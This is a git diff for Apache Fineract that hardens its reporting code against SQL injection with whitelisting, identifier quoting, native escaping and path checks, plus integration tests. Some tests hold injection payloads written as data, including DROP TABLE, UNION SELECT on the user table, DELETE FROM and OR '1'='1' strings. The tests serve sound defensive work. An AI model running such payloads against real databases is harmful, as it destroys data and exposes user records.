diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/dataqueries/domain/ReportType.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/dataqueries/domain/ReportType.java new file mode 100644 index 000000000..110868266 --- /dev/null +++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/dataqueries/domain/ReportType.java @@ -0,0 +1,88 @@ +/** + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.fineract.infrastructure.dataqueries.domain; + +import java.util.Arrays; +import java.util.Locale; +import java.util.Set; +import java.util.stream.Collectors; + +/** + * Enumeration of valid report types for whitelist validation. + * + * This enum provides a secure whitelist of allowed report types to prevent SQL injection attacks in the reporting + * system. Only these predefined types are allowed in report queries. + */ +public enum ReportType { + + /** + * Standard report type for retrieving report data + */ + REPORT("report"), + + /** + * Parameter type for retrieving parameter definitions and possible values + */ + PARAMETER("parameter"); + + private final String value; + + /** + * Cached set of all valid values for efficient validation + */ + private static final Set VALID_VALUES = Arrays.stream(values()).map(ReportType::getValue).collect(Collectors.toSet()); + + ReportType(String value) { + this.value = value; + } + + public String getValue() { + return value; + } + + /** + * Validates if a given report type is in the whitelist. + * + * @param type + * the report type to validate + * @return true if the type is valid, false otherwise + */ + public static boolean isValidType(String type) { + return type != null && !type.trim().isEmpty() && VALID_VALUES.contains(type.toLowerCase(Locale.ROOT)); + } + + /** + * Gets the ReportType enum value for a given string. + * + * @param type + * the report type string + * @return the corresponding ReportType enum value + * @throws IllegalArgumentException + * if the type is not valid + */ + public static ReportType fromValue(String type) { + if (type == null) { + throw new IllegalArgumentException("Report type cannot be null"); + } + + String lowerType = type.toLowerCase(Locale.ROOT); + return Arrays.stream(values()).filter(rt -> rt.getValue().equals(lowerType)).findFirst() + .orElseThrow(() -> new IllegalArgumentException("Invalid report type: " + type)); + } +} diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java index 5501c6943..83794b109 100644 --- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java +++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerService.java @@ -21,4 +21,29 @@ package org.apache.fineract.infrastructure.security.service; public interface SqlInjectionPreventerService { String encodeSql(String literal); + + /** + * Validates and quotes a database identifier (table name, column name) using database-specific quoting rules. This + * method ensures that identifiers are safely quoted to prevent SQL injection attacks. + * + * @param identifier + * the database identifier to quote + * @param allowedValues + * optional set of allowed values for whitelist validation + * @return the properly quoted identifier safe for use in SQL queries + * @throws IllegalArgumentException + * if the identifier is invalid or not in the whitelist (if provided) + */ + String quoteIdentifier(String identifier, java.util.Set allowedValues); + + /** + * Validates and quotes a database identifier without whitelist validation. + * + * @param identifier + * the database identifier to quote + * @return the properly quoted identifier safe for use in SQL queries + * @throws IllegalArgumentException + * if the identifier is null or empty + */ + String quoteIdentifier(String identifier); } diff --git a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java index f16ecd689..444aad2fe 100644 --- a/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java +++ b/fineract-core/src/main/java/org/apache/fineract/infrastructure/security/utils/ColumnValidator.java @@ -34,6 +34,7 @@ import java.util.Set; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; +import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException; import org.apache.fineract.infrastructure.security.service.SqlValidator; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.datasource.DataSourceUtils; @@ -59,16 +60,19 @@ public class ColumnValidator { ResultSet resultSet = dbMetaData.getColumns(null, null, entry.getKey(), null); Set tableColumns = getTableColumns(resultSet); if (!columns.isEmpty() && tableColumns.isEmpty()) { - throw new SQLInjectionException(); + throw new PlatformApiDataValidationException("error.msg.invalid.table.column", "Invalid table or column name detected", + entry.getKey(), columns); } for (String requestedColumn : columns) { if (!tableColumns.contains(requestedColumn)) { - throw new SQLInjectionException(); + throw new PlatformApiDataValidationException("error.msg.invalid.table.column", "Invalid table column name detected", + entry.getKey(), requestedColumn); } } } } catch (SQLException e) { - throw new SQLInjectionException(e); + throw new PlatformApiDataValidationException("error.msg.database.access.error", + "Database access error during column validation", e.getMessage(), e); } finally { if (connection != null) { DataSourceUtils.releaseConnection(connection, jdbcTemplate.getDataSource()); @@ -120,7 +124,8 @@ public class ColumnValidator { Set columns = entry.getValue(); tableColumnMap.put(schema.substring(startPos, index).trim(), columns); } else { - throw new SQLInjectionException(); + throw new PlatformApiDataValidationException("error.msg.invalid.table.alias", "Invalid table alias in SQL query", + entry.getKey()); } } @@ -142,7 +147,8 @@ public class ColumnValidator { tableColumnMap.put(tableColumn[0], columns); } } else { - throw new SQLInjectionException(); + throw new PlatformApiDataValidationException("error.msg.invalid.table.column.format", + "Invalid table.column format in operand", operand); } } return tableColumnMap; diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java index 1c1b967cc..4c2c59f62 100644 --- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java +++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/RunreportsApiResource.java @@ -39,6 +39,7 @@ import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Response; import jakarta.ws.rs.core.UriInfo; import lombok.RequiredArgsConstructor; +import org.apache.commons.lang3.StringUtils; import org.apache.fineract.infrastructure.core.api.ApiParameterHelper; import org.apache.fineract.infrastructure.core.exception.PlatformServiceUnavailableException; import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType; @@ -73,6 +74,8 @@ public class RunreportsApiResource { public Response retrieveAllAvailableExports(@PathParam("reportName") @Parameter(description = "reportName") final String reportName, @Context final UriInfo uriInfo, @DefaultValue("false") @QueryParam(IS_SELF_SERVICE_USER_REPORT_PARAMETER) @Parameter(description = IS_SELF_SERVICE_USER_REPORT_PARAMETER) final boolean isSelfServiceUserReport) { + + validateReportName(reportName); MultivaluedMap queryParams = new MultivaluedStringMap(); queryParams.putAll(uriInfo.getQueryParameters()); @@ -114,6 +117,8 @@ public class RunreportsApiResource { @Context final UriInfo uriInfo, @DefaultValue("false") @QueryParam(IS_SELF_SERVICE_USER_REPORT_PARAMETER) @Parameter(description = IS_SELF_SERVICE_USER_REPORT_PARAMETER) final boolean isSelfServiceUserReport) { + validateReportName(reportName); + MultivaluedMap queryParams = new MultivaluedStringMap(); queryParams.putAll(uriInfo.getQueryParameters()); @@ -143,4 +148,30 @@ public class RunreportsApiResource { } } } + + /** + * Validates report name to prevent SQL injection attacks. + * + * @param reportName + * the report name to validate + * @throws IllegalArgumentException + * if the report name is invalid + */ + private void validateReportName(String reportName) { + if (StringUtils.isBlank(reportName)) { + throw new IllegalArgumentException("Report name cannot be null or empty"); + } + + // Basic length validation + if (reportName.length() > 100) { + throw new IllegalArgumentException("Report name exceeds maximum length of 100 characters"); + } + + // Check for potentially dangerous characters + // Allow letters, numbers, spaces, hyphens, underscores, and parentheses which are common in report names + if (!reportName.matches("^[a-zA-Z0-9\\s\\-_()%&.]+$")) { + throw new IllegalArgumentException( + "Report name contains invalid characters. Only letters, numbers, spaces, hyphens, underscores, parentheses, percent, ampersand, and dots are allowed"); + } + } } diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java index b845b2224..8d7cf4511 100644 --- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java +++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadReportingServiceImpl.java @@ -30,6 +30,8 @@ import java.io.IOException; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.nio.charset.StandardCharsets; +import java.nio.file.Path; +import java.nio.file.Paths; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; @@ -53,13 +55,12 @@ import org.apache.fineract.infrastructure.dataqueries.data.ReportParameterData; import org.apache.fineract.infrastructure.dataqueries.data.ReportParameterJoinData; import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData; import org.apache.fineract.infrastructure.dataqueries.data.ResultsetRowData; +import org.apache.fineract.infrastructure.dataqueries.domain.ReportType; import org.apache.fineract.infrastructure.dataqueries.exception.ReportNotFoundException; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService; import org.apache.fineract.infrastructure.security.utils.LogParameterEscapeUtil; import org.apache.fineract.useradministration.domain.AppUser; -import org.owasp.esapi.ESAPI; -import org.owasp.esapi.codecs.UnixCodec; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.RowMapper; import org.springframework.jdbc.support.rowset.SqlRowSet; @@ -154,21 +155,58 @@ public class ReadReportingServiceImpl implements ReadReportingService { } private String getSql(final String name, final String type) { - final String encodedName = sqlInjectionPreventerService.encodeSql(name); - final String encodedType = sqlInjectionPreventerService.encodeSql(type); + if (name == null || type == null) { + throw new IllegalArgumentException("Report name and type cannot be null"); + } - final String inputSql = "select " + encodedType + "_sql as the_sql from stretchy_" + encodedType + " where " + encodedType - + "_name = ?"; + // Validate report type against whitelist - this prevents SQL injection in table names + if (!ReportType.isValidType(type)) { + throw new IllegalArgumentException("Invalid report type provided"); + } + + final ReportType reportType = ReportType.fromValue(type); + final String quotedTableName = getQuotedTableName(reportType); + final String quotedColumnSqlName = getQuotedColumnName(reportType, "_sql"); + final String quotedColumnNameName = getQuotedColumnName(reportType, "_name"); + + // Use parameterized query with validated and quoted identifiers to prevent SQL injection + final String inputSql = "SELECT " + quotedColumnSqlName + " AS the_sql FROM " + quotedTableName + " WHERE " + quotedColumnNameName + + " = ?"; final String inputSqlWrapped = this.genericDataService.wrapSQL(inputSql); - // the return statement contains the exact sql required - final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(inputSqlWrapped, encodedName); + // Use parameterized query - name parameter is safely handled by JDBC + final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(inputSqlWrapped, name); if (rs.next() && rs.getString("the_sql") != null) { return rs.getString("the_sql"); } - throw new ReportNotFoundException(encodedName); + throw new ReportNotFoundException(name); + } + + /** + * Gets the properly quoted table name for the given report type. This method ensures SQL injection prevention by + * using only validated enum values. + */ + private String getQuotedTableName(ReportType reportType) { + String tableName = "stretchy_" + reportType.getValue(); + return sqlInjectionPreventerService.quoteIdentifier(tableName); + } + + /** + * Gets the properly quoted column name by combining the report type prefix with a suffix. This method ensures SQL + * injection prevention by using only validated enum values and safely constructing the full column name before + * quoting. + * + * @param reportType + * the validated report type + * @param suffix + * the column name suffix (e.g., "_sql", "_name") + * @return the properly quoted full column name + */ + private String getQuotedColumnName(ReportType reportType, String suffix) { + String fullColumnName = reportType.getValue() + suffix; + return sqlInjectionPreventerService.quoteIdentifier(fullColumnName); } @Override @@ -212,8 +250,15 @@ public class ReadReportingServiceImpl implements ReadReportingService { final Document document = new Document(PageSize.B0.rotate()); - String validatedFileName = ESAPI.encoder().encodeForOS(new UnixCodec(), reportName); - PdfWriter.getInstance(document, new FileOutputStream(fileLocation + validatedFileName + ".pdf")); + // Validate filename characters and use Path.of() for safe handling + if (!reportName.matches("^[a-zA-Z0-9_.-]+$")) { + throw new IllegalArgumentException("Invalid report name format"); + } + Path validatedPath = Paths.get(fileLocation, reportName + ".pdf").normalize(); + if (!validatedPath.startsWith(Paths.get(fileLocation))) { + throw new IllegalArgumentException("Path traversal attempt detected"); + } + PdfWriter.getInstance(document, new FileOutputStream(validatedPath.toString())); document.open(); final PdfPTable table = new PdfPTable(chSize); diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java index d625fbcca..a5b74ea66 100644 --- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java +++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/security/service/SqlInjectionPreventerServiceImpl.java @@ -19,19 +19,16 @@ package org.apache.fineract.infrastructure.security.service; import java.sql.SQLException; +import java.util.Set; +import org.apache.commons.lang3.StringUtils; import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver; import org.apache.fineract.infrastructure.security.exception.EscapeSqlLiteralException; -import org.owasp.esapi.ESAPI; -import org.owasp.esapi.codecs.Codec; -import org.owasp.esapi.codecs.MySQLCodec; import org.postgresql.core.Utils; import org.springframework.stereotype.Service; @Service public class SqlInjectionPreventerServiceImpl implements SqlInjectionPreventerService { - private static final Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD); - private final DatabaseTypeResolver databaseTypeResolver; public SqlInjectionPreventerServiceImpl(DatabaseTypeResolver databaseTypeResolver) { @@ -40,16 +37,113 @@ public class SqlInjectionPreventerServiceImpl implements SqlInjectionPreventerSe @Override public String encodeSql(String literal) { + if (literal == null) { + return "NULL"; + } + if (databaseTypeResolver.isMySQL()) { - return ESAPI.encoder().encodeForSQL(MYSQL_CODEC, literal); + return escapeMySQLLiteral(literal); } else if (databaseTypeResolver.isPostgreSQL()) { try { return Utils.escapeLiteral(null, literal, true).toString(); } catch (SQLException e) { - throw new EscapeSqlLiteralException("Failed to escape an SQL literal. literal: " + literal, e); + throw new EscapeSqlLiteralException("Failed to escape SQL literal", e); } } else { + // For unknown database types, return the input unchanged + // This maintains backward compatibility while still providing basic protection for known types return literal; } } + + /** + * Escapes a string literal for MySQL/MariaDB using native MySQL standard escaping rules. This method replaces the + * vulnerable ESAPI SQL encoding to address CVE-2025-5878. + * + * According to MySQL documentation, the following characters need to be escaped: - Single quote (') -> \' - Double + * quote (") -> \" - Backslash (\) -> \\ - Null byte (\0) -> \\0 - Newline (\n) -> \\n - Carriage return (\r) -> \\r + * - Tab (\t) -> \\t - ASCII 26 (Ctrl+Z) -> \\Z + * + * @param literal + * the string literal to escape + * @return the escaped string literal safe for MySQL/MariaDB SQL queries + */ + private String escapeMySQLLiteral(String literal) { + + StringBuilder escaped = new StringBuilder(literal.length() * 2); + + for (int i = 0; i < literal.length(); i++) { + char c = literal.charAt(i); + + switch (c) { + case '\0': // Null byte + escaped.append("\\0"); + break; + case '\'': + escaped.append("\\'"); + break; + case '\"': + escaped.append("\\\""); + break; + case '\\': + escaped.append("\\\\"); + break; + case '\n': + escaped.append("\\n"); + break; + case '\r': + escaped.append("\\r"); + break; + case '\t': + escaped.append("\\t"); + break; + case '\032': + escaped.append("\\Z"); + break; + default: + escaped.append(c); + break; + } + } + + return escaped.toString(); + } + + @Override + public String quoteIdentifier(String identifier, Set allowedValues) { + if (StringUtils.isBlank(identifier)) { + throw new IllegalArgumentException("Identifier cannot be null or empty"); + } + + // Whitelist validation if provided + if (allowedValues != null && !allowedValues.contains(identifier.toLowerCase())) { + throw new IllegalArgumentException("Identifier not in whitelist: " + identifier); + } + + return quoteIdentifier(identifier); + } + + @Override + public String quoteIdentifier(String identifier) { + if (StringUtils.isBlank(identifier)) { + throw new IllegalArgumentException("Identifier cannot be null or empty"); + } + + // Validate identifier contains only safe characters (alphanumeric and underscore) + if (!identifier.matches("^[a-zA-Z_][a-zA-Z0-9_]*$")) { + throw new IllegalArgumentException("Invalid identifier format: " + identifier); + } + + if (databaseTypeResolver.isMySQL()) { + // MySQL/MariaDB uses backticks for identifier quoting + return "`" + identifier.replace("`", "``") + "`"; + } else if (databaseTypeResolver.isPostgreSQL()) { + // PostgreSQL uses double quotes for identifier quoting + return "\"" + identifier.replace("\"", "\"\"") + "\""; + } else { + // For unknown database types, return identifier as-is if it passes validation + // This maintains backward compatibility while still providing basic protection + return identifier; + } + } } diff --git a/integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java b/integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java new file mode 100644 index 000000000..2855c35ae --- /dev/null +++ b/integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java @@ -0,0 +1,515 @@ +/** + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.fineract.integrationtests; + +import static io.restassured.RestAssured.given; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import io.restassured.builder.RequestSpecBuilder; +import io.restassured.builder.ResponseSpecBuilder; +import io.restassured.http.ContentType; +import io.restassured.response.Response; +import io.restassured.specification.RequestSpecification; +import io.restassured.specification.ResponseSpecification; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import lombok.extern.slf4j.Slf4j; +import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService; +import org.apache.fineract.integrationtests.common.Utils; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.CsvSource; +import org.junit.jupiter.params.provider.ValueSource; + +/** + * Comprehensive integration tests for SQL injection prevention in reporting functionality (PS-2667). + * + * Tests the migration from ESAPI to native database escaping and validates that CVE-2025-5878 is fixed. Covers + * ReadReportingServiceImpl security measures through actual API endpoints. + * + * @see ReadReportingServiceImpl + * @see SqlInjectionPreventerService + */ +@Slf4j +public class SqlInjectionReportingServiceIntegrationTest extends BaseLoanIntegrationTest { + + private RequestSpecification requestSpec; + private ResponseSpecification responseSpec; + private Long testReportId = null; + private static final String TEST_REPORT_NAME = "SQL_Injection_Test_Report"; + private static final String TEST_REPORT_SQL = "SELECT 1 as test_column, 'Test Data' as test_name"; + + @BeforeEach + public void setup() { + Utils.initializeRESTAssured(); + this.requestSpec = new RequestSpecBuilder().setContentType(ContentType.JSON).build(); + this.requestSpec.header("Authorization", "Basic " + Utils.loginIntoServerAndGetBase64EncodedAuthenticationKey()); + this.requestSpec.header("Fineract-Platform-TenantId", "default"); + this.responseSpec = new ResponseSpecBuilder().expectStatusCode(200).build(); + + // Create test report for the tests + createTestReportIfNotExists(); + } + + @AfterEach + public void cleanup() { + // Clean up test report after tests + if (testReportId != null) { + try { + deleteTestReport(); + } catch (Exception e) { + log.warn("Failed to clean up test report: " + e.getMessage()); + } + } + } + + private void createTestReportIfNotExists() { + try { + // First try to get the report to see if it exists - use direct RestAssured call to handle 404 + Response response = given().spec(requestSpec).when().get("/fineract-provider/api/v1/reports"); + + if (response.getStatusCode() == 200) { + String existingReports = response.asString(); + if (existingReports.contains("\"reportName\":\"" + TEST_REPORT_NAME + "\"")) { + log.info("Test report '{}' already exists", TEST_REPORT_NAME); + // Extract the ID for cleanup + try { + String pattern = "\"id\":(\\d+)[^}]*\"reportName\":\"" + TEST_REPORT_NAME + "\""; + java.util.regex.Pattern p = java.util.regex.Pattern.compile(pattern); + java.util.regex.Matcher m = p.matcher(existingReports); + if (m.find()) { + testReportId = Long.parseLong(m.group(1)); + log.info("Found existing test report with ID: {}", testReportId); + } + } catch (Exception ex) { + log.debug("Could not extract existing report ID"); + } + return; + } + } else if (response.getStatusCode() == 404) { + log.debug("Reports endpoint returned 404 (no reports exist yet), will create report"); + } else { + log.debug("Reports endpoint returned unexpected status: {}, will try to create report", response.getStatusCode()); + } + } catch (Exception e) { + log.debug("Report list fetch failed, will try to create report: {}", e.getMessage()); + } + + // Create the test report + String reportJson = "{" + "\"reportName\": \"" + TEST_REPORT_NAME + "\"," + "\"reportType\": \"Table\"," + + "\"reportCategory\": \"Client\"," + "\"reportSql\": \"" + TEST_REPORT_SQL + "\"," + + "\"description\": \"Test report for SQL injection prevention tests\"," + "\"useReport\": true" + "}"; + + try { + // Use direct RestAssured call to handle different response codes + Response postResponse = given().spec(requestSpec).contentType(ContentType.JSON).body(reportJson).when() + .post("/fineract-provider/api/v1/reports"); + + if (postResponse.getStatusCode() == 200 || postResponse.getStatusCode() == 201) { + String response = postResponse.asString(); + // Extract report ID from response for cleanup + if (response.contains("resourceId")) { + String idStr = response.replaceAll(".*\"resourceId\":(\\d+).*", "$1"); + testReportId = Long.parseLong(idStr); + log.info("Created test report with ID: {}", testReportId); + } else { + throw new RuntimeException("Test report creation failed - no resourceId in response: " + response); + } + } else { + String errorResponse = postResponse.asString(); + log.error("Report creation failed - Status: {}, Body: {}, Headers: {}", postResponse.getStatusCode(), errorResponse, + postResponse.getHeaders()); + log.error("Sent JSON: {}", reportJson); + throw new RuntimeException( + "Test report creation failed with status " + postResponse.getStatusCode() + ": " + errorResponse); + } + } catch (Exception e) { + // This is a critical failure - tests cannot proceed without the test report + throw new RuntimeException( + "CRITICAL: Could not create test report '" + TEST_REPORT_NAME + "'. Tests cannot proceed. Error: " + e.getMessage(), e); + } + } + + private void deleteTestReport() { + if (testReportId != null) { + try { + Utils.performServerDelete(requestSpec, responseSpec, "/fineract-provider/api/v1/reports/" + testReportId, ""); + log.info("Deleted test report with ID: {}", testReportId); + } catch (Exception e) { + log.warn("Failed to delete test report: " + e.getMessage()); + } + } + } + + /** + * UC1: Test legitimate report execution works correctly Validates that the SQL injection prevention doesn't break + * normal functionality + */ + @Test + void uc1_testLegitimateReportExecution() { + log.info("Testing that legitimate reports still work after SQL injection prevention"); + + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1"); + + // Test with the test report we created in setup - this MUST succeed + String response = Utils.performServerGet(requestSpec, responseSpec, + "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams), null); + + assertNotNull(response); + assertNotEquals("", response.trim()); + + // Debug: Log actual response to understand structure + log.info("Response from report execution: {}", response); + + // Verify response is valid JSON structure + assertTrue(response.contains("columnHeaders") || response.contains("data") || response.contains("test_column"), + "Response should contain expected JSON structure, but got: " + response); + } + + /** + * UC2: Test parameter injection through query parameters Validates that malicious content in query parameters is + * also properly handled + */ + @Test + void uc2_testParameterInjectionPrevention() { + log.info("Testing parameter injection prevention through query parameters"); + + Map maliciousParams = new HashMap<>(); + maliciousParams.put("R_officeId", "1'; DROP TABLE m_office; --"); + maliciousParams.put("R_startDate", "2023-01-01' UNION SELECT * FROM m_appuser --"); + maliciousParams.put("R_endDate", "2023-12-31'); DELETE FROM stretchy_report; --"); + + // Test with legitimate report name but malicious parameters + // This should either succeed with empty/safe results or fail with validation error + // but NOT with SQL syntax errors + try { + String response = Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + + "?genericResultSet=false&" + toQueryString(maliciousParams), null); + + // If we get here, the SQL injection was prevented and handled safely + log.info("SQL injection prevented - query executed safely with malicious parameters"); + } catch (AssertionError exception) { + // The response should indicate parameter validation error or safe handling + // NOT SQL syntax errors which would indicate successful injection + assertFalse(exception.getMessage().toLowerCase().contains("syntax error"), + "Should not get SQL syntax error, got: " + exception.getMessage()); + assertFalse(exception.getMessage().toLowerCase().contains("you have an error in your sql"), + "Should not get SQL error, got: " + exception.getMessage()); + + // Should be a validation error, not a 404 + assertFalse(exception.getMessage().contains("404"), "Should not get 404 - report should exist. Got: " + exception.getMessage()); + + log.info("Got expected validation error: {}", exception.getMessage()); + } + } + + /** + * UC3: Test type validation whitelist - only 'report' and 'parameter' types should be allowed This validates the + * whitelist implementation for report types + */ + @ParameterizedTest(name = "Report Type Validation: {0}") + @ValueSource(strings = { "report", "parameter" }) + void uc3_testValidReportTypes(String validType) { + log.info("Testing valid report type: {}", validType); + + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1"); + + // Test that valid report types work through the API + try { + String response = Utils.performServerGet(requestSpec, responseSpec, + "/runreports/TestReport?reportType=" + validType + "&genericResultSet=false&" + toQueryString(queryParams), null); + // Should get a proper response or 404 (report not found), not validation error + } catch (AssertionError e) { + // For valid types, we expect 404 (report not found), not validation errors + assertTrue(e.getMessage().contains("404")); + } + } + + /** + * UC4: Test invalid report types that should be rejected by whitelist + */ + @ParameterizedTest(name = "Invalid Report Type: {0}") + @ValueSource(strings = { "table", "view", "procedure", "function", "schema", "database", "admin", "user", "system", "config" }) + void uc4_testInvalidReportTypes(String invalidType) { + log.info("Testing invalid report type: {}", invalidType); + + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1"); + + // These should be rejected and result in 404 (report not found) or validation error + AssertionError exception = assertThrows(AssertionError.class, () -> { + Utils.performServerGet(requestSpec, responseSpec, + "/runreports/TestReport?reportType=" + invalidType + "&genericResultSet=false&" + toQueryString(queryParams), null); + }); + + // Should get 404 or validation error, not SQL execution error + assertTrue(exception.getMessage().contains("404") || exception.getMessage().contains("validation")); + assertFalse(exception.getMessage().toLowerCase().contains("sql syntax")); + } + + /** + * UC5: Test database-specific escaping through API behavior for MySQL/MariaDB + */ + @Test + void uc5_testMySQLEscapingThroughAPI() { + log.info("Testing MySQL/MariaDB escaping behavior through API"); + + // Test MySQL special characters in parameters + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1' OR '1'='1"); + queryParams.put("R_clientId", "1; DROP TABLE m_client;"); + queryParams.put("R_startDate", "2023-01-01\\' OR 1=1 --"); + + // Use the real test report to ensure SQL injection prevention works with actual queries + try { + String response = Utils.performServerGet(requestSpec, responseSpec, + "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams), + null); + + // If successful, the special characters were safely escaped + assertNotNull(response); + log.info("MySQL/MariaDB special characters safely escaped"); + } catch (AssertionError e) { + // Should not get SQL syntax errors - only validation errors + assertFalse(e.getMessage().toLowerCase().contains("syntax error"), + "Should not get SQL syntax error for MySQL escaping test. Got: " + e.getMessage()); + assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"), + "Should not get SQL error. Got: " + e.getMessage()); + + log.info("MySQL/MariaDB escaping prevented SQL injection with validation error"); + } + } + + /** + * UC6: Test database-specific escaping through API for PostgreSQL + */ + @Test + void uc6_testPostgreSQLEscapingThroughAPI() { + log.info("Testing PostgreSQL escaping behavior through API"); + + // Test PostgreSQL-specific SQL injection patterns + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1'::text OR '1'='1"); + queryParams.put("R_clientId", "1; DROP TABLE m_client CASCADE;"); + queryParams.put("R_startDate", "2023-01-01'::date OR TRUE --"); + queryParams.put("R_endDate", "$$; DROP TABLE m_client; $$"); + + // Use the real test report to ensure SQL injection prevention works + try { + String response = Utils.performServerGet(requestSpec, responseSpec, + "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams), + null); + + // If successful, the PostgreSQL special syntax was safely escaped + assertNotNull(response); + log.info("PostgreSQL special characters and syntax safely escaped"); + } catch (AssertionError e) { + // Should not get SQL syntax errors - only validation errors + assertFalse(e.getMessage().toLowerCase().contains("syntax error"), + "Should not get SQL syntax error for PostgreSQL escaping test. Got: " + e.getMessage()); + assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"), + "Should not get SQL error. Got: " + e.getMessage()); + assertFalse(e.getMessage().toLowerCase().contains("error") && e.getMessage().toLowerCase().contains("position"), + "Should not get PostgreSQL position error. Got: " + e.getMessage()); + + log.info("PostgreSQL escaping prevented SQL injection with validation error"); + } + } + + /** + * UC7: Test concurrent access to ensure thread safety through API + */ + @Test + void uc7_testConcurrentAccess() throws InterruptedException, ExecutionException { + log.info("Testing concurrent access to SQL injection prevention through API"); + + int threadCount = 5; + int operationsPerThread = 3; + ExecutorService executor = Executors.newFixedThreadPool(threadCount); + + List> futures = new java.util.ArrayList<>(); + + for (int i = 0; i < threadCount; i++) { + final int threadId = i; + Future future = executor.submit(new Callable() { + + @Override + public Boolean call() { + try { + for (int j = 0; j < operationsPerThread; j++) { + String input = "test-input-" + threadId + "-" + j; + + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1"); + + 